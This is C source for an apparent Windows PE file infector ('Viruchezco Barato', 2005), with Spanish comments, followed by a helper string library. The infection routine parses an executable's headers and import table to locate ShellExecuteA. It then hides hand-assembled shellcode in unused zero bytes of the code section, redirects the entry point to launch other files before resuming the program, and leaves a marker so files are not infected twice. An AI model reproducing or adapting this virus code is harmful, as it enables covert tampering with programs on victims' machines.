/*
Coder: Karman
Name of Proyect: Viruchezco Barato...
Version: 0.9.5-A
Date: 02-02-05
 
Nota: Hermoso Codigo de infeccion de archivos PE 
sin modificacion de tamanio ni adision de secciones...
*/
 
#include <windows.h>
#include <Strings.h>
//#include <stdio.h>
 
typedef unsigned int uint;
typedef unsigned char uchar;
 
uchar code[]={
//*********************** Strings *************************
  //FileName 1 ?
  0,0,0,0,0,0,0,0,0,0,0,0,0,
  //FileName 2 ?
  0,0,0,0,0,0,0,0,0,0,0,0,0,
  //FileName me... jejeje
  0,0,0,0,0,0,0,0,0,0,0,0,0,
  // open                    
  'o' ,'p' ,'e' ,'n' ,0,
//*********************** Code *****************************
  //xor edi
  0x33,0xff,
  //add edi, 0d
  0x83,0xc7,0x0d,
  //mov eax, dir...          
  0xb8,0x00,0x00,0x00,0x00,
  //add eax, edi
  0x03,0xc7,
  //push 0A (ShowMode)
  0x6a,0x0a,
  //push 00 (Directory)
  0x6a,0x00,
  //push 00 (Parameters)
  0x6a,0x00,
  //push eax (File)
  0x50,
  //push "open" (Command)
  0x68,0x00,0x00,0x00,0x00,
  //push 00 (HWND)
  0x6a,0x00,
  //call shellexecute()              
  0xff,0x15,0x00,0x00,0x00,0x00,
  //cmp al,02
  0x3c,0x02,
  //je 05 (Down)
  0x74,0x05,
  //jmp old entry point
  0xe9,0x00,0x00,0x00,0x00,
  //cmp edi,39  
  0x83,0xff,0x27,
  //jne 212 (up) 
  0x75,0xd4,
  //Ret
  0xc3,
  //Mark
  'D','e','L','a','C','a','b','e','z','a',' ',
  '2','0','0','5',' ',
  '-','V','r','.',' ',
  '0','.','9','.','5','.','A','-'
};
 
//DeLaCabeza 2005 - Vr. 0.9.5-A .-
HANDLE hfp;DWORD dwRW;
uint apep,val,val2,ira,*pval,*pval2,*sd;
uint ita,its,itva,ib,ns,epva,epa,epd,eps,FSize;
uchar av,va,*PMV,*pPMV,*pFN;
 
void strcopy(uchar *obj,uchar *data,uint pos)
{uchar cp;for(cp=0;cp<lstrlen(data);cp++)obj[pos+cp]=data[cp];}
 
//Infection Function...  
//que hermoso código papá...   
int infection(uchar *FName,uchar *txt0,uchar *txt1)
{
  its=0;ns=0;
 
  //Revisamos el FileName... Quitamos el File Path...
  pFN=FindLastChar(FName,'\\');
 
  // Old Format Names... 8x3
  if(StrLen(txt0)>12||StrLen(txt1)>12||StrLen(pFN)>12)return 1;//Ma' que te pasa?
 
  //Openigzamos el file...
  hfp = CreateFile(FName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
  if(hfp == INVALID_HANDLE_VALUE)return 2;//Pinche file...
 
  //lectura del fichero (PE Header)...
  PMV = (char*)GlobalAlloc(GPTR,0x601); 
  ReadFile(hfp, PMV, 0x600, &dwRW, NULL);
  if(GetLastError()==ERROR_HANDLE_EOF)goto Free;
 
  //ya lo garque?
  pPMV=&PMV[0x4e];if(StrCompN(pPMV,"This",4))goto Free;
 
  //hubicamos los recursos... PE start Address
  pval=(int *)&PMV[0x3c];val=*pval;
 
  //file type... PE?
  pPMV=&PMV[val];if(StrCompN(pPMV,"PE",2))goto Free;
 
  //Size of Header... (1,5 Kb)
  if((val+*((int*)&PMV[val+0x54]))>0x600)goto Free;
 
  //Number of sections
  pval=(int *)&PMV[val+0x06];ns=*(pval)&0xFFFF;
  //Entry Point Virtual Address
  pval=(int *)&PMV[val+0x28];epva=*pval;apep=val+0x28;
  //Image Base
  pval=(int *)&PMV[val+0x34];ib=*pval;
  //Import Table Virtual Address
  pval=(int *)&PMV[val+0x80];itva=*pval;
 
  //Object Table Scaner
  sd=(int *)&PMV[val+0x100];   
  for(av=0;av<ns;av++)
  { 
    //Phisic Address of IT
    if((itva>=sd[1])&&(itva<(sd[0]+sd[1]))){ita=itva-sd[1]+sd[3];its=sd[2];}
    //Phisic Address of EP
    if((epva>=sd[1])&&(epva<(sd[0]+sd[1]))){epa=sd[3];eps=sd[2];epd=sd[1];}
    //Next Struct info...
    sd+=0x0A;  
  }  
 
  //sd[0]:Virtual Size - sd[1]:Virtual Address
  //sd[2]:Phisic Size  - sd[3]:Phisic Address
 
  Free: GlobalFree(PMV);
 
  //lectura del fichero (IT Struct)...
  if(its>0){
    PMV = (char*)GlobalAlloc(GPTR,its+1);//pos=ita;
    SetFilePointer(hfp,ita,NULL,FILE_BEGIN);  
    ReadFile(hfp, PMV, its, &dwRW, NULL);PMV[its]=0;
    if(GetLastError()==ERROR_HANDLE_EOF)goto EndFind;
 
    //Find Function in Import Table... 
    ira=0;pval=(int *)PMV;
      while(*pval&&!ira){
        val=*pval-itva;av=0;
        if(val>its)goto EndFind;
        pval2=(int *)&PMV[val];          
        while(*pval2){
          val2=*pval2-itva;  
          if(val2<its){
            pPMV=&PMV[val2+2];
            if(!StrComp(pPMV,"ShellExecuteA")){
              ira=*(pval+0x04)+ib+av*0x04;
              goto EndFind;
            }
          }
          pval2++;av++;
        }
        pval+=5;      
      }
    EndFind: GlobalFree(PMV);
  }
 
  va=0;if(ira){val=0;
    PMV = (char*)GlobalAlloc(GPTR,eps+1);
    SetFilePointer(hfp,epa,NULL,FILE_BEGIN);  
    ReadFile(hfp, PMV, eps, &dwRW, NULL);PMV[eps]=0;
    //Find Space...
    while(val<eps&&va<0x65)if(!PMV[val++])va++;else va=0;
    GlobalFree(PMV);
  }
 
  if(va>=0x65){
    //Make positions
    val-=0x60;
    //Making the Path... FNames
    strcopy(code,txt0,0x00);strcopy(code,txt1,0x0d);strcopy(code,pFN,0x1a);
    //directions
    pval=(int *)&code[0x32];*pval=ib+epd+val-0x0d;
    //Push "open"
    pval=(int *)&code[0x40];*pval=ib+epd+val+0x27;
    //call shellexecute()
    pval=(int *)&code[0x48];*pval=ira;
    //jmp old entry point
    pval=(int *)&code[0x51];*pval=epva-epd-val-0x55;
 
    //Escribimos...
    SetFilePointer(hfp,epa+val,NULL,FILE_BEGIN);  
    WriteFile(hfp, code, 0x5b, &dwRW, NULL);
 
    //calc address of entry point
    pval=(int *)&code[0x00];*pval=epd+val+0x2C;
    SetFilePointer(hfp,apep,NULL,FILE_BEGIN);  
    WriteFile(hfp, code, 0x4, &dwRW, NULL);
 
    //File Mark
    SetFilePointer(hfp,0x4e,NULL,FILE_BEGIN);
    WriteFile(hfp,&code[0x5b],29, &dwRW, NULL);
  }
  CloseHandle(hfp);
  return 0;
}
 
int main(void){
  infection("c:\\k.exe","boot.exe","filename.exe");
  system("pause");
}
// La verda' que eto e' una obra de marte... .)
 

/*
 * Strings.c
 *
 * Definitions for string functions.
 *
 *  This source code is offered for use in the public domain. You may
 *  use, modify or distribute it freely.
 *
 *  This code is distributed in the hope that it will be useful but
 *  WITHOUT ANY WARRANTY. ALL WARRANTIES, EXPRESS OR IMPLIED ARE HEREBY
 *  DISCLAIMED. This includes but is not limited to warranties of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * $Revision: 1.0
 * $Author: Karman
 * $Date: 2004/03/02
 *
 */
 
//Global Var's
#include <windows.h>
char itstmp[12];
 
//Code Start...
 
void StrIns(char *obj,char *data,int pos){
  obj+=pos;
  while(*data)*(obj++)=*(data++);
}
 
char *Upper(char *buff){
char *buf=buff;
while(*buff){if(*buff>0x60&&*buff<0x7b)*buff-=0x20;buff++;}
return buf;
}
 
char *Lower(char *buff){
char *buf=buff;
while(*buff){if(*buff>0x40&&*buff<0x5b)*buff+=0x20;buff++;}
return buf;
}
 
char *StrCat(char *buff1,char *buff2){
char *buf=buff1;while(*buff1)buff1++;
while(*buff2)*(buff1++)=*(buff2++);
*buff1=0;return buf;
}
 
char *StrCatN(char *buff1,char *buff2,int nc){
char *buf=buff1;while(*buff1)buff1++;
while(*buff2&&(nc--))*(buff1++)=*(buff2++);
*buff1=0;return buf;
}
 
char *StrCopy(char *buff1,char *buff2){
char *buf=buff1;
while(*buff2)*(buff1++)=*(buff2++);
*buff1=0;return buf;
}
 
char *StrCopyN(char *buff1,char *buff2,int nc){
char *buf=buff1;
while(*buff2&&(nc--))*(buff1++)=*(buff2++);
*buff1=0;return buf;
}
 
char *FindFirstChar(char *buff,char cf){
while(*buff&&*buff!=cf)buff++;
if(!(*buff)&&cf)return 0;
return buff;
}
 
char *FindLastChar(char *buff,char cf){
  char *buff2=NULL;
  while(*buff)if(*(buff++)==cf)buff2=buff;
  return buff2;
}
 
char *StrTokenChar(char *buff1,char *buff2,char cf1,char cf2){
*buff1=0;
while(*buff2){
  if(*(buff2++)==cf1){
    while(*buff2){
      *buff1=*(buff2++);*(++buff1)=0;
      if(*buff2==cf2)goto end;
    }
  }
}
end:
return buff1;
}
 
int StringsTokens(char *buff1,char *buff2,char cf1,char cf2,int no){
int av=0;char *tmp=buff1;*buff1=0;
while(*buff2&&av<no){buff1=tmp;
  if(*(buff2++)==cf1){++av;
    while(*buff2&&*buff2!=cf2){
      *buff1=*(buff2++);*(++buff1)=0;
    }
  }
}return av;
}
 
int FindPrevStr(char *buff1,char *buff2,char cf,int no){
int av=0,pos=0,ap=0;*buff1=0;char *tmp=buff1;
while(*buff2){
  if(*buff2==cf){pos=ap;if(++av==no)break;}
  *buff1=*buff2;buff1++;buff2++;ap++;
}tmp[pos]=0;
return av;
}
 
int StrLen(char *buff){
  int ret=0;
  while(*buff){ret++;buff++;}
  return ret;
}
 
int StrComp(char *buff1,char *buff2){
  int ret=0;
  while(*buff1&&*buff2){if(*(buff1++)!=*(buff2++))ret++;}
  if(*buff1||*buff2)ret++;
  return ret;
}
 
int StrCompN(char *buff1,char *buff2,int nc){
  int ret=0,av;
  while(*buff1&&*buff2&&(nc)){--nc;
    if(*(buff1++)!=*(buff2++))ret++;
  }if((*buff1^*buff2)&&nc)ret++;
  return ret;
}
 
int FindNum(char *bf){
int tn=0;char av=0;
while(*bf){
  if((*bf>0x2F)&&(*bf<0x3a)){
    if(av)tn*=10;tn+=*bf-0x30;av=1;  
  }else if(av)break;bf++;
}return tn;
}
 
char *offset(int val){
int tmp;char *temp=itstmp;int at=val;
temp+=11;*temp=0;do{tmp=val/10;--temp;
*temp=((at>0)?(val-tmp*10):-(val-tmp*10))+0x30;val=tmp;
}while(val);if(at<0){--temp;*temp='-';}return temp;
}
//End Code...